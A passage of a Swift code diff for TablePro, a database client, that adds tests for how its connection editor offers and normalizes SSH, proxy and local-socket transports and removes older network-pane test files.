"bastion.example.com") + + draft.selectTransport(.ssh) + #expect(draft.ssh.host == "bastion.example.com") + #expect(draft.ssh.username == "deploy") + } + + @Test("A connection stored with two transports loads with one") + func loadCollapsesLegacyMultiTransport() { + let mysql = traits(.mysql) + var stored = DatabaseConnection(name: "Legacy", host: "db.internal", port: 3_306, type: .mysql) + stored.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) + stored.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com")) + stored.tunnelCommandMode = .inline(TunnelCommandConfiguration(method: .custom, command: "forward {port}")) + + let draft = ConnectionDraft.loaded(from: stored, secrets: .none, traits: mysql) + + #expect(draft.transport == .ssh) + #expect(enabledKinds(draft, mysql) == [.ssh]) + } + + @Test("A transport the type no longer offers falls back to direct") + func normalizeDropsUnavailableTransport() { + let sqlite = traits(.sqlite) + var draft = draft() + draft.selectTransport(.cloudflare) + + let normalized = ConnectionEditorEngine.normalized(draft, sqlite) + + #expect(normalized.transport == nil) + #expect(enabledKinds(normalized, sqlite).isEmpty) + } + + // MARK: - What each type offers + + @Test("Direct is always offered first, exactly once, and nothing is offered twice") + func availableTransportsAreWellFormed() { + for type in DatabaseType.allKnownTypes { + let available = ConnectionEditorEngine.availableTransports(draft(type), traits(type)) + #expect(available.first == .some(nil), "\(type.rawValue) does not offer direct first") + #expect(Set(available).count == available.count, "\(type.rawValue) offers a duplicate transport") + } + } + + @Test("A file-based type offers the remote file transport rather than a port forward") + func fileBasedTypeUsesRemoteFile() { + let sqlite = traits(.sqlite) + var draft = draft(.sqlite) + let available = ConnectionEditorEngine.availableTransports(draft, sqlite) + #expect(available.contains(.remoteFile)) + #expect(!available.contains(.ssh)) + + draft.selectTransport(.remoteFile) + #expect(draft.usesSSHServer) + #expect(draft.transport == .remoteFile) + #expect(edits(draft, sqlite).sshTunnelMode != .disabled) + } + + @Test("The SSH server is offered as one transport, never as both of its flavours") + func sshAndRemoteFileAreNeverOfferedTogether() { + for type in DatabaseType.allKnownTypes { + let available = ConnectionEditorEngine.availableTransports(draft(type), traits(type)) + #expect( + !(available.contains(.ssh) && available.contains(.remoteFile)), + "\(type.rawValue) offers both SSH flavours, so the picker cannot round-trip" + ) + } + } + + @Test("Weaviate offers the SSH tunnel and every other transport that forwards a port") + func weaviateOffersPortForwards() { + let available = ConnectionEditorEngine.availableTransports(draft(.weaviate), traits(.weaviate)) + #expect(available == [nil, .ssh, .cloudflare, .socksProxy, .tunnelCommand]) + } + + // A registry type's built-in entry once offered Cloudflare Tunnel with nothing to forward to. + @Test("A type with no port forward and no remote file connects directly only") + func typeWithoutPortForwardIsDirectOnly() { + let manager = PluginManager.shared + for type in DatabaseType.allKnownTypes + where !manager.supportsSSH(for: type) && !manager.supportsRemoteDatabaseFile(for: type) { + #expect( + ConnectionEditorEngine.availableTransports(draft(type), traits(type)) == [nil], + "\(type.rawValue) offers a transport it has no port to forward through" + ) + } + } + + @Test("A type that dials its host offers a port forward wherever it supports SSH") + func networkTypesKeepTheirTransports() { + let manager = PluginManager.shared + for type in DatabaseType.allKnownTypes + where manager.connectionMode(for: type) == .network && !manager.supportsRemoteDatabaseFile(for: type) { + let available = ConnectionEditorEngine.availableTransports(draft(type), traits(type)) + #expect(available.contains(.ssh) == manager.supportsSSH(for: type), "\(type.rawValue)") + #expect(available.contains(.socksProxy) == manager.supportsSOCKSProxy(for: type), "\(type.rawValue)") + } + } + + @Test("A selected transport always has a facet that shows it") + func aSelectedTransportIsAlwaysReachable() { + for type in DatabaseType.allKnownTypes { + let traits = traits(type) + let base = draft(type) + for kind in ConnectionEditorEngine.availableTransports(base, traits).compactMap({ $0 }) { + var draft = base + draft.selectTransport(kind) + #expect( + ConnectionEditorEngine.layout(draft, traits, EditorContext()).facet(.sshAndProxies) != nil, + "\(type.rawValue) hides SSH & Proxies while \(kind.rawValue) is on, so its issues have nowhere to show" + ) + } + } + } + + // MARK: - DuckDB + + @Test("DuckDB in Local File offers no transport and no SSH & Proxies or SSL/TLS facet") + func duckdbLocalHasNoTransportFacet() { + let duckdbTraits = traits(.duckdb) + let draft = duckdb(mode: "local") + let layout = ConnectionEditorEngine.layout(draft, duckdbTraits, EditorContext()) + + #expect(ConnectionEditorEngine.availableTransports(draft, duckdbTraits) == [nil]) + #expect(!duckdbTraits.supportsSSL) + #expect(layout.facet(.sshAndProxies) == nil) + #expect(layout.facet(.sslTLS) == nil) + } + + @Test("DuckDB in Remote offers the SSH tunnel and every other transport that forwards a port, and no SSL/TLS facet") + func duckdbRemoteOffersPortForwards() { + let duckdbTraits = traits(.duckdb) + let draft = duckdb(mode: "remote") + let layout = ConnectionEditorEngine.layout(draft, duckdbTraits, EditorContext()) + + #expect(ConnectionEditorEngine.availableTransports(draft, duckdbTraits) == [nil, .ssh, .cloudflare, .socksProxy, .tunnelCommand]) + #expect(layout.facet(.sshAndProxies) != nil) + #expect(!ConnectionEditorEngine.showsSSL(draft, duckdbTraits)) + #expect(layout.facet(.sslTLS) == nil) + } + + @Test("Switching DuckDB to Local File drops the transport it had in Remote and keeps the server") + func duckdbLocalDropsTheRemoteTransport() { + let duckdbTraits = traits(.duckdb) + var draft = duckdb(mode: "remote") + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + + draft.setFieldValue("local", for: "duckdbMode") + let normalized = ConnectionEditorEngine.normalized(draft, duckdbTraits) + + #expect(normalized.transport == nil) + #expect(enabledKinds(normalized, duckdbTraits).isEmpty) + #expect(normalized.ssh.host == "bastion.example.com", "The server itself is kept for switching back") + } + + @Test("A DuckDB Remote tunnel forwards to the server General names") + func duckdbTunnelForwardsToTheServer() { + let duckdbTraits = traits(.duckdb) + var draft = duckdb(mode: "remote") + draft.setFieldValue("9500", for: "duckdbPort") + + let endpoint = edits(draft, duckdbTraits).applied(to: DatabaseConnection(name: "")).tunnelForwardEndpoint + + #expect(endpoint.host == "quack.internal") + #expect(endpoint.port == 9_500) + } + + // MARK: - URL import + + @Test("A quack+ssh URL opens DuckDB in Remote on the SSH tunnel, with the SSL Mode it names") + func quackSSHURLOpensRemoteOverSSH() throws { + let imported = try importing("quack+ssh://deploy@bastion.example.com/quack.internal:9500/remotedb?sslmode=require") + + #expect(imported.draft.type == .duckdb) + #expect(imported.draft.transport == .ssh, "Normalizing must not drop a tunnel the Remote fields can use") + #expect(imported.draft.ssh.host == "bastion.example.com") + let fields = imported.draft.fieldValues + #expect(fields["duckdbMode"] == "remote") + #expect(fields["duckdbHost"] == "quack.internal") + #expect(fields["duckdbPort"] == "9500") + #expect(fields["duckdbSSLMode"] == "required") + } + + @Test("A URL naming an SSH server opens the editor on exactly that transport") + func urlImportSelectsOneTransport() throws { + let imported = try importing("mysql+ssh://deploy@bastion.example.com:22/dbuser@db.internal:3306/app") + + #expect(imported.draft.transport == .ssh) + #expect(enabledKinds(imported.draft, imported.traits) == [.ssh]) + #expect(imported.draft.ssh.host == "bastion.example.com") + } + + // MARK: - Values a transport owns + + @Test("Leaving the SSH server clears the remote file path it was carrying") + func leavingSSHClearsRemoteFilePath() { + var draft = draft(.sqlite) + draft.selectTransport(.remoteFile) + draft.ssh.remoteFilePath = "/var/db/app.sqlite" + + draft.selectTransport(nil) + + #expect(draft.ssh.remoteFilePath.isEmpty) + } + + @Test("Changing the type clears a remote file path the new type cannot open") + func retypeClearsRemoteFilePath() { + var draft = draft(.sqlite) + draft.selectTransport(.remoteFile) + draft.ssh.remoteFilePath = "/var/db/app.sqlite" + + draft.retype(to: traits(.mysql), from: traits(.sqlite)) + + #expect(draft.transport == nil) + #expect(draft.ssh.remoteFilePath.isEmpty) + } + + @Test("Leaving the port forward clears the socket path only it can reach") + func leavingSSHClearsForwardSocketPath() { + var draft = draft() + draft.selectTransport(.ssh) + draft.sshForwardUnixSocketPath = "/var/run/postgresql/.s.PGSQL.5432" + + draft.selectTransport(.socksProxy) + + #expect(draft.sshForwardUnixSocketPath.isEmpty) + #expect(!ConnectionEditorEngine.forwardsToUnixSocket(draft)) + } + + // A SQL Server connection changed to MySQL would otherwise leave its Kerberos password stored under the same id. + @Test("A retyped connection still owns the previous type's secure fields") + func retypeKeepsOwnershipOfTheOldTypesSecrets() throws { + let manager = PluginManager.shared + let secretive = DatabaseType.allKnownTypes.first { type in + manager.additionalConnectionFields(for: type).contains { $0.isSecure } + } + let original = try #require(secretive, "No known type declares a secure connection field") + let originalIds = Set(manager.additionalConnectionFields(for: original).filter(\.isSecure).map(\.id)) + + let ownedIds = ConnectionEditorEngine.secureFieldsOwnedByForm(traits(.mysql), originalTraits: traits(original)).map(\.id) + + #expect(originalIds.isSubset(of: Set(ownedIds))) + #expect(Set(ownedIds).count == ownedIds.count, "A field shared by both types is listed once") + } + + @Test("A driver with no SSL/TLS facet cannot be blocked by an SSL rule") + func sslIssuesAreSilentWhereThereIsNoSSLFacet() { + let sqlite = traits(.sqlite) + var fileDraft = draft(.sqlite) + fileDraft.selectSSLMode(.verifyCa) + fileDraft.ssl.caCertPath = "" + #expect(!sqlite.supportsSSL) + #expect(!ConnectionEditorEngine.issues(fileDraft, sqlite, EditorContext()).contains { $0.facet == .sslTLS }) + + let mysql = traits(.mysql) + var networked = draft() + networked.selectSSLMode(.verifyCa) + networked.ssl.caCertPath = "" + #expect(mysql.supportsSSL) + #expect( + ConnectionEditorEngine.issues(networked, mysql, EditorContext()).contains { $0.row == .builtIn(.sslCACertificate) }, + "A driver that shows the field still requires it" + ) + } + + // MARK: - Socket endpoint + + @Test("Choosing Socket clears the transport, leaves only Direct and keeps SSL/TLS") + func socketClearsTheTransport() { + let mysql = traits(.mysql) + var draft = draft() + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + + draft.selectEndpoint(.localSocket) + + #expect(draft.transport == nil) + #expect(enabledKinds(draft, mysql).isEmpty) + #expect(ConnectionEditorEngine.availableTransports(draft, mysql) == [nil]) + #expect(ConnectionEditorEngine.layout(draft, mysql, EditorContext()).facet(.sslTLS) != nil, "SSL Mode still applies over a socket") + #expect(draft.ssh.host == "bastion.example.com", "The server itself is kept") + } + + @Test("Going back to Host and Port offers the transports again") + func hostAndPortRestoresTransports() { + let mysql = traits(.mysql) + var draft = draft() + let offered = ConnectionEditorEngine.availableTransports(draft, mysql) + + draft.selectEndpoint(.localSocket) + draft.selectEndpoint(.hostAndPort) + + #expect(ConnectionEditorEngine.availableTransports(draft, mysql) == offered) + #expect(offered.contains(.ssh)) + } + + @Test("A stored socket under an SSH tunnel loads as Host and Port and keeps the tunnel") + func storedSocketUnderSSHKeepsTheTunnel() { + let mysql = traits(.mysql) + var stored = DatabaseConnection(name: "Mixed", host: "db.internal", port: 3_306, type: .mysql) + stored.additionalFields[MySQLLocalSocket.fieldKey] = "/tmp/mysql.sock" + stored.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) + + let draft = ConnectionDraft.loaded(from: stored, secrets: .none, traits: mysql) + + #expect(draft.endpoint == .hostAndPort) + #expect(draft.transport == .ssh) + #expect(edits(draft, mysql).additionalFields[MySQLLocalSocket.fieldKey] == nil) + } + + @Test("A socket connection saves its path and no transport") + func socketEditsCarryThePath() { + let mysql = traits(.mysql) + var draft = draft() + draft.name = "Local" + draft.selectEndpoint(.localSocket) + draft.localSocketPath = "/tmp/mysql.sock" + + let edits = edits(draft, mysql) + + #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") + #expect(edits.ownedAdditionalFieldIDs.contains(MySQLLocalSocket.fieldKey)) + #expect(edits.applied(to: DatabaseConnection(name: "")).localSocketPath == "/tmp/mysql.sock") + #expect(enabledKinds(draft, mysql).isEmpty) + #expect(!ConnectionEditorEngine.issues(draft, mysql, EditorContext()).contains { $0.blocksSave }) + } + + @Test("An empty socket blocks Save from General") + func emptySocketIsClaimedByGeneral() throws { + let mysql = traits(.mysql) + var draft = draft() + draft.name = "Local" + draft.selectEndpoint(.localSocket) + + let blocking = ConnectionEditorEngine.issues(draft, mysql, EditorContext()).filter(\.blocksSave) + let first = try #require(blocking.first) + #expect(first.facet == .general) + #expect(first.row == .builtIn(.localSocketPath)) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/NetworkPaneDatabaseFieldTests.swift b/apple/TableProTests/Views/ConnectionForm/NetworkPaneDatabaseFieldTests.swift deleted file mode 100644 index aa9976111b..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/NetworkPaneDatabaseFieldTests.swift +++ /dev/null @@ -1,104 +0,0 @@ -// -// NetworkPaneDatabaseFieldTests.swift -// TableProTests -// -// Whether the form renders a built-in Database field is one predicate, and the form must never -// require a value it does not render. Both used to be spelled out separately in four places. -// - -import Foundation -@testable import TablePro -import TableProPluginKit -import Testing - -@MainActor -struct NetworkPaneDatabaseFieldTests { - private func model(for type: DatabaseType) -> NetworkPaneViewModel { - let model = NetworkPaneViewModel() - model.type = type - return model - } - - /// Issue #2234: the field was gated on requiresAuthentication, which MongoDB declares false, - /// so a MongoDB connection could not name a database and had to load the whole list instead. - @Test( - "A network driver that takes a container name renders the field", - arguments: [ - DatabaseType.mongodb, - DatabaseType.cassandra, - DatabaseType(rawValue: "Trino"), - DatabaseType.mysql, - DatabaseType.postgresql, - ] - ) - func networkDriversRenderTheField(type: DatabaseType) { - #expect(model(for: type).showsBuiltInDatabaseField) - } - - /// Oracle and Dameng show a Schema field today while declaring supportsDatabaseSwitching - /// false, so that flag cannot be the gate either. - @Test( - "A network driver without runtime database switching keeps its field", - arguments: [DatabaseType.oracle, DatabaseType.dameng] - ) - func networkDriversWithoutSwitchingKeepTheField(type: DatabaseType) { - #expect(model(for: type).showsBuiltInDatabaseField) - } - - /// Redis numbers its databases through its own field, etcd has no container, and - /// Elasticsearch reports exactly one called `default` and never reads the value. - @Test( - "A driver that names its container elsewhere, or has none, opts out", - arguments: [DatabaseType.redis, DatabaseType.etcd, DatabaseType.elasticsearch] - ) - func optedOutDriversHideTheField(type: DatabaseType) { - #expect(!model(for: type).showsBuiltInDatabaseField) - } - - /// These are apiOnly and declare no database switching, so the field stays hidden. Gating - /// the whole form on hidesBuiltInDatabase alone would have started showing it here. - @Test( - "An apiOnly driver without database switching keeps the field hidden", - arguments: [DatabaseType.bigQuery, DatabaseType.dynamodb, DatabaseType.libsql] - ) - func apiOnlyDriversWithoutSwitchingHideTheField(type: DatabaseType) { - #expect(!model(for: type).showsBuiltInDatabaseField) - } - - // MARK: - Never require what is not rendered - - /// A new DuckDB connection could not be saved: validation demanded a database name while the - /// form rendered no field able to supply one, so Save and Test stayed disabled forever. - @Test("DuckDB neither renders nor requires the built-in database field") - func duckDBIsSaveable() { - let model = model(for: .duckdb) - #expect(!model.showsBuiltInDatabaseField) - #expect(!model.requiresDatabaseValue) - - model.name = "Analytics" - #expect(!model.validationIssues.contains { $0.localizedCaseInsensitiveContains("database") }) - } - - @Test("A named database is optional for a network driver, so a blank one still validates") - func networkDatabaseStaysOptional() { - let model = model(for: .mongodb) - model.name = "Cluster" - model.database = "" - #expect(model.showsBuiltInDatabaseField) - #expect(!model.requiresDatabaseValue) - #expect(!model.validationIssues.contains { $0.localizedCaseInsensitiveContains("database") }) - } - - @Test("Every type that requires a database value also renders a field for it") - func requiredImpliesRendered() { - let types: [DatabaseType] = [ - .mysql, .postgresql, .mongodb, .cassandra, .oracle, .dameng, - .redis, .etcd, .elasticsearch, .duckdb, .bigQuery, .dynamodb, .libsql, - ] - for type in types { - let model = model(for: type) - guard model.requiresDatabaseValue, model.connectionMode != .fileBased else { continue } - #expect(model.showsBuiltInDatabaseField, "\(type.rawValue) requires a database it cannot render") - } - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/NetworkPaneLocalSocketTests.swift b/apple/TableProTests/Views/ConnectionForm/NetworkPaneLocalSocketTests.swift deleted file mode 100644 index e51893e863..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/NetworkPaneLocalSocketTests.swift +++ /dev/null @@ -1,200 +0,0 @@ -// -// NetworkPaneLocalSocketTests.swift -// TableProTests -// - -import Darwin -import Foundation -@testable import TablePro -import TableProSSHConfig -import Testing - -@MainActor -struct NetworkPaneLocalSocketTests { - private func socketConnection(path: String = "/tmp/mysql.sock", type: DatabaseType = .mysql) -> DatabaseConnection { - var connection = DatabaseConnection(name: "Local", host: "localhost", port: 3_306, type: type) - connection.additionalFields[MySQLLocalSocket.fieldKey] = path - return connection - } - - private func socketViewModel(path: String) -> NetworkPaneViewModel { - let viewModel = NetworkPaneViewModel() - viewModel.name = "Local" - viewModel.type = .mysql - viewModel.endpoint = .localSocket - viewModel.localSocketPath = path - return viewModel - } - - @Test("Loading a socket connection selects Socket and fills the path") - func loadsSocketConnection() { - let viewModel = NetworkPaneViewModel() - viewModel.load(from: socketConnection()) - - #expect(viewModel.endpoint == .localSocket) - #expect(viewModel.localSocketPath == "/tmp/mysql.sock") - #expect(viewModel.usesLocalSocket) - } - - @Test("Loading a TCP connection stays on Host and Port") - func loadsTCPConnection() { - let viewModel = NetworkPaneViewModel() - viewModel.load(from: DatabaseConnection(name: "TCP", host: "db.internal", port: 3_306, type: .mysql)) - - #expect(viewModel.endpoint == .hostAndPort) - #expect(viewModel.localSocketPath.isEmpty) - #expect(!viewModel.usesLocalSocket) - } - - @Test("A stored socket under an SSH tunnel loads as Host and Port, since the tunnel is what connects") - func socketUnderTunnelLoadsAsHostAndPort() { - var connection = socketConnection() - connection.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) - - let viewModel = NetworkPaneViewModel() - viewModel.load(from: connection) - - #expect(viewModel.endpoint == .hostAndPort) - #expect(viewModel.localSocketPath.isEmpty) - } - - @Test("Writing in Socket mode stores the trimmed path with ~ expanded") - func writesTrimmedExpandedPath() { - var fields: [String: String] = [:] - socketViewModel(path: " /tmp/mysql.sock\n").write(into: &fields) - #expect(fields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") - - var homeFields: [String: String] = [:] - socketViewModel(path: "~/run/mysqld.sock").write(into: &homeFields) - #expect(homeFields[MySQLLocalSocket.fieldKey] == NSHomeDirectory() + "/run/mysqld.sock") - } - - @Test("Host and Port mode writes no socket, even with a path typed earlier") - func hostAndPortWritesNoSocket() { - let viewModel = socketViewModel(path: "/tmp/mysql.sock") - viewModel.endpoint = .hostAndPort - - var fields: [String: String] = [:] - viewModel.write(into: &fields) - - #expect(fields[MySQLLocalSocket.fieldKey] == nil) - #expect(viewModel.localSocketIssues.isEmpty) - } - - @Test("An empty socket path blocks Save and names the field") - func emptyPathIsRequired() { - let viewModel = socketViewModel(path: " ") - let required = String(format: String(localized: "%@ is required"), String(localized: "Socket")) - #expect(viewModel.validationIssues == [required]) - } - - @Test("A relative socket path blocks Save") - func relativePathIsRejected() { - let viewModel = socketViewModel(path: "mysql.sock") - #expect(viewModel.validationIssues == [MySQLLocalSocket.PathIssue.notAbsolute.message]) - } - - @Test("A path past macOS's 103-byte limit blocks Save with its length") - func longPathIsRejected() { - let path = "/" + String(repeating: "a", count: 103) - let viewModel = socketViewModel(path: path) - #expect(viewModel.validationIssues == [MySQLLocalSocket.PathIssue.tooLong(bytes: 104).message]) - - let atLimit = socketViewModel(path: "/" + String(repeating: "a", count: 102)) - #expect(atLimit.validationIssues.isEmpty) - } - - @Test("A path under ~ is checked after expanding it, so it is absolute") - func tildePathIsAbsolute() { - #expect(socketViewModel(path: "~/mysql.sock").validationIssues.isEmpty) - } - - @Test("Changing the type to Redshift drops the socket") - func typeChangeDropsSocket() { - let viewModel = socketViewModel(path: "") - viewModel.type = .redshift - - var fields: [String: String] = [:] - viewModel.write(into: &fields) - - #expect(!viewModel.supportsLocalSocket) - #expect(!viewModel.usesLocalSocket) - #expect(fields[MySQLLocalSocket.fieldKey] == nil) - #expect(viewModel.localSocketIssues.isEmpty) - } - - @Test("Socket is offered for MySQL, MariaDB and PostgreSQL only") - func socketIsOfferedPerType() { - let cases: [(type: DatabaseType, offered: Bool)] = [ - (.mysql, true), (.mariadb, true), (.tidb, false), (.oceanbase, false), - (.databend, false), (.postgresql, true), (.redshift, false), (.cockroachdb, false), - (DatabaseType(rawValue: "PGlite"), false), (.sqlite, false) - ] - for entry in cases { - let viewModel = NetworkPaneViewModel() - viewModel.type = entry.type - #expect(viewModel.supportsLocalSocket == entry.offered, "\(entry.type.rawValue)") - } - } - - @Test("The prompt is the socket path a Homebrew or installer MySQL uses") - func promptIsTheDefaultSocket() { - let viewModel = NetworkPaneViewModel() - viewModel.type = .mariadb - #expect(viewModel.localSocketPrompt == "/tmp/mysql.sock") - } - - @Test("A missing path, a plain file and a socket each read as such") - func fileStatusFollowsTheFile() throws { - let directory = URL(fileURLWithPath: "/tmp", isDirectory: true) - .appendingPathComponent("tp-\(UUID().uuidString.prefix(8))", isDirectory: true) - try FileManager.default.createDirectory(at: directory, withIntermediateDirectories: true) - defer { try? FileManager.default.removeItem(at: directory) } - - let missing = directory.appendingPathComponent("missing.sock").path - #expect(NetworkPaneViewModel.localSocketFileStatus(atPath: missing) == .missing) - - let file = directory.appendingPathComponent("plain.sock").path - #expect(FileManager.default.createFile(atPath: file, contents: Data())) - #expect(NetworkPaneViewModel.localSocketFileStatus(atPath: file) == .notSocket) - - let socketPath = directory.appendingPathComponent("m.sock").path - let descriptor = try bindUnixSocket(at: socketPath) - defer { close(descriptor) } - #expect(NetworkPaneViewModel.localSocketFileStatus(atPath: socketPath) == .socket) - - let link = directory.appendingPathComponent("link.sock").path - try FileManager.default.createSymbolicLink(atPath: link, withDestinationPath: socketPath) - #expect(NetworkPaneViewModel.localSocketFileStatus(atPath: link) == .socket) - } - - @Test("The file status stays quiet until the path itself is valid") - func fileStatusWaitsForAValidPath() { - #expect(socketViewModel(path: "").localSocketFileStatus == nil) - #expect(socketViewModel(path: "relative.sock").localSocketFileStatus == nil) - #expect(socketViewModel(path: "/nonexistent-tablepro/m.sock").localSocketFileStatus == .missing) - } - - private func bindUnixSocket(at path: String) throws -> Int32 { - let descriptor = socket(AF_UNIX, SOCK_STREAM, 0) - guard descriptor >= 0 else { throw POSIXError(.EBADF) } - var address = sockaddr_un() - address.sun_family = sa_family_t(AF_UNIX) - let bytes = Array(path.utf8) - withUnsafeMutableBytes(of: &address.sun_path) { buffer in - for (index, byte) in bytes.enumerated() where index < buffer.count - 1 { - buffer[index] = byte - } - } - let result = withUnsafePointer(to: &address) { pointer in - pointer.withMemoryRebound(to: sockaddr.self, capacity: 1) { - bind(descriptor, $0, socklen_t(MemoryLayout.size)) - } - } - guard result == 0 else { - close(descriptor) - throw POSIXError(.EADDRINUSE) - } - return descriptor - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/NetworkPanePostgreSQLSocketTests.swift b/apple/TableProTests/Views/ConnectionForm/NetworkPanePostgreSQLSocketTests.swift deleted file mode 100644 index 74a157d7bb..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/NetworkPanePostgreSQLSocketTests.swift +++ /dev/null @@ -1,161 +0,0 @@ -// -// NetworkPanePostgreSQLSocketTests.swift -// TableProTests -// - -import Darwin -import Foundation -@testable import TablePro -import TableProPluginKit -import Testing - -@MainActor -struct NetworkPanePostgreSQLSocketTests { - private func socketForm(path: String, port: String = "5432") -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.name = "Local" - coordinator.network.type = .postgresql - coordinator.network.port = port - coordinator.selectEndpoint(.localSocket) - coordinator.network.localSocketPath = path - return coordinator - } - - @Test("PostgreSQL offers Socket, prompts /tmp and suggests the common folders") - func offersSocket() { - let network = socketForm(path: "").network - #expect(network.supportsLocalSocket) - #expect(network.localSocketIsDirectory) - #expect(network.localSocketPrompt == "/tmp") - #expect(network.localSocketSuggestions == ["/tmp", "/var/run/postgresql"]) - - let mysql = NetworkPaneViewModel() - mysql.type = .mysql - #expect(!mysql.localSocketIsDirectory) - #expect(mysql.localSocketSuggestions.isEmpty) - } - - @Test("Socket leaves Direct only and drops SSL, but keeps the Network tab") - func socketDropsSSL() { - let coordinator = socketForm(path: "/tmp") - coordinator.ssl.select(.required) - coordinator.ssl.clientCertPath = "/tmp/client.crt" - - #expect(coordinator.availableTransports == [nil]) - #expect(coordinator.supportsSSL) - #expect(!coordinator.showsSSL) - #expect(coordinator.ssl.validationIssues.isEmpty) - #expect(coordinator.visibleTabs.contains(.network)) - #expect(ConnectionFormTab.network.validationIssues(for: coordinator).isEmpty) - - coordinator.selectEndpoint(.hostAndPort) - #expect(coordinator.showsSSL) - #expect(!coordinator.ssl.validationIssues.isEmpty) - } - - @Test("A MySQL socket keeps its SSL settings") - func mysqlSocketKeepsSSL() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = .mysql - coordinator.selectEndpoint(.localSocket) - #expect(coordinator.showsSSL) - } - - @Test("A folder is saved with the port, and the port names the socket file") - func savesDirectoryAndPort() { - let edits = socketForm(path: "/var/run/postgresql/", port: "5434").buildEdits() - #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/var/run/postgresql") - #expect(edits.port == 5_434) - - let connection = edits.applied(to: DatabaseConnection(name: "")) - #expect(connection.localSocketFile == "/var/run/postgresql/.s.PGSQL.5434") - #expect(connection.transportSSLConfiguration.mode == .disabled) - } - - @Test("A socket file is saved as its folder and the port in its name") - func savesSocketFileAsDirectory() { - let edits = socketForm(path: "/tmp/.s.PGSQL.5433", port: "5432").buildEdits() - #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp") - #expect(edits.port == 5_433) - } - - @Test("A relative path, a comma and a socket file over 103 bytes block Save") - func pathIssues() { - #expect(socketForm(path: "").network.localSocketIssues.count == 1) - #expect(socketForm(path: "run/postgresql").network.localSocketIssues == [PostgreSQLLocalSocket.PathIssue.notAbsolute.message]) - #expect(socketForm(path: "/tmp,/var/run").network.localSocketIssues == [PostgreSQLLocalSocket.PathIssue.comma.message]) - - let directory = "/" + String(repeating: "a", count: 88) - #expect(socketForm(path: directory, port: "5432").network.localSocketIssues.isEmpty) - #expect( - socketForm(path: directory, port: "54321").network.localSocketIssues - == [PostgreSQLLocalSocket.PathIssue.tooLong(bytes: 104).message] - ) - } - - @Test("The file status checks the socket file the folder and port name") - func fileStatusChecksTheSocketFile() throws { - let directory = URL(fileURLWithPath: "/tmp", isDirectory: true) - .appendingPathComponent("tp-\(UUID().uuidString.prefix(8))", isDirectory: true) - try FileManager.default.createDirectory(at: directory, withIntermediateDirectories: true) - defer { try? FileManager.default.removeItem(at: directory) } - - let form = socketForm(path: directory.path, port: "5433") - #expect(form.network.localSocketFileStatus == .missing) - - let descriptor = try bindUnixSocket(at: directory.appendingPathComponent(".s.PGSQL.5433").path) - defer { close(descriptor) } - #expect(form.network.localSocketFileStatus == .socket) - - form.network.port = "5434" - #expect(form.network.localSocketFileStatus == .missing) - } - - @Test("~/.pgpass is matched by localhost for /tmp and by the folder otherwise") - func pgpassEndpoint() { - let defaultFolder = socketForm(path: "/tmp", port: "5433").network.pgpassEndpoint - #expect(defaultFolder.host == "localhost") - #expect(defaultFolder.port == 5_433) - let otherFolder = socketForm(path: "/var/run/postgresql").network.pgpassEndpoint - #expect(otherFolder.host == "/var/run/postgresql") - #expect(otherFolder.port == 5_432) - - let tcp = NetworkPaneViewModel() - tcp.type = .postgresql - tcp.host = "db.example.com" - tcp.port = "6432" - #expect(tcp.pgpassEndpoint.host == "db.example.com") - #expect(tcp.pgpassEndpoint.port == 6_432) - tcp.host = "" - #expect(tcp.pgpassEndpoint.host == "localhost") - } - - @Test("The Network tab names the socket and says no SSL is used") - func directSummary() { - let summary = ConnectionTunnelKind.directSummary(isFileBased: false, usesLocalSocket: true, localSocketSkipsTLS: true) - #expect(summary != ConnectionTunnelKind.directSummary(isFileBased: false, usesLocalSocket: true, localSocketSkipsTLS: false)) - } - - private func bindUnixSocket(at path: String) throws -> Int32 { - let descriptor = socket(AF_UNIX, SOCK_STREAM, 0) - guard descriptor >= 0 else { throw POSIXError(.EBADF) } - var address = sockaddr_un() - address.sun_family = sa_family_t(AF_UNIX) - let bytes = Array(path.utf8) - withUnsafeMutableBytes(of: &address.sun_path) { buffer in - for (index, byte) in bytes.enumerated() where index < buffer.count - 1 { - buffer[index] = byte - } - } - let result = withUnsafePointer(to: &address) { pointer in - pointer.withMemoryRebound(to: sockaddr.self, capacity: 1) { - bind(descriptor, $0, socklen_t(MemoryLayout.size)) - } - } - guard result == 0 else { - close(descriptor) - throw POSIXError(.EADDRINUSE) - } - return descriptor - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/NetworkPaneSocketForwardTests.swift b/apple/TableProTests/Views/ConnectionForm/NetworkPaneSocketForwardTests.swift deleted file mode 100644 index c93ebb443a..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/NetworkPaneSocketForwardTests.swift +++ /dev/null @@ -1,91 +0,0 @@ -// -// NetworkPaneSocketForwardTests.swift -// TableProTests -// - -import Foundation -@testable import TablePro -import Testing - -@MainActor -struct NetworkPaneSocketForwardTests { - @Test("An absolute socket file path raises no issue") - func acceptsAbsoluteSocketPath() { - #expect(NetworkPaneViewModel.socketPathIssue(for: "/var/run/postgresql/.s.PGSQL.5432") == nil) - } - - @Test("An empty path raises no issue, because the field is optional") - func emptyPathIsFine() { - #expect(NetworkPaneViewModel.socketPathIssue(for: "") == nil) - #expect(NetworkPaneViewModel.socketPathIssue(for: " ") == nil) - } - - @Test("A relative path is flagged") - func flagsRelativePath() { - #expect(NetworkPaneViewModel.socketPathIssue(for: "var/run/postgresql") == .notAbsolute) - } - - @Test("A trailing slash is flagged, because ssh forwards to the socket file not its directory") - func flagsDirectoryPath() { - #expect(NetworkPaneViewModel.socketPathIssue(for: 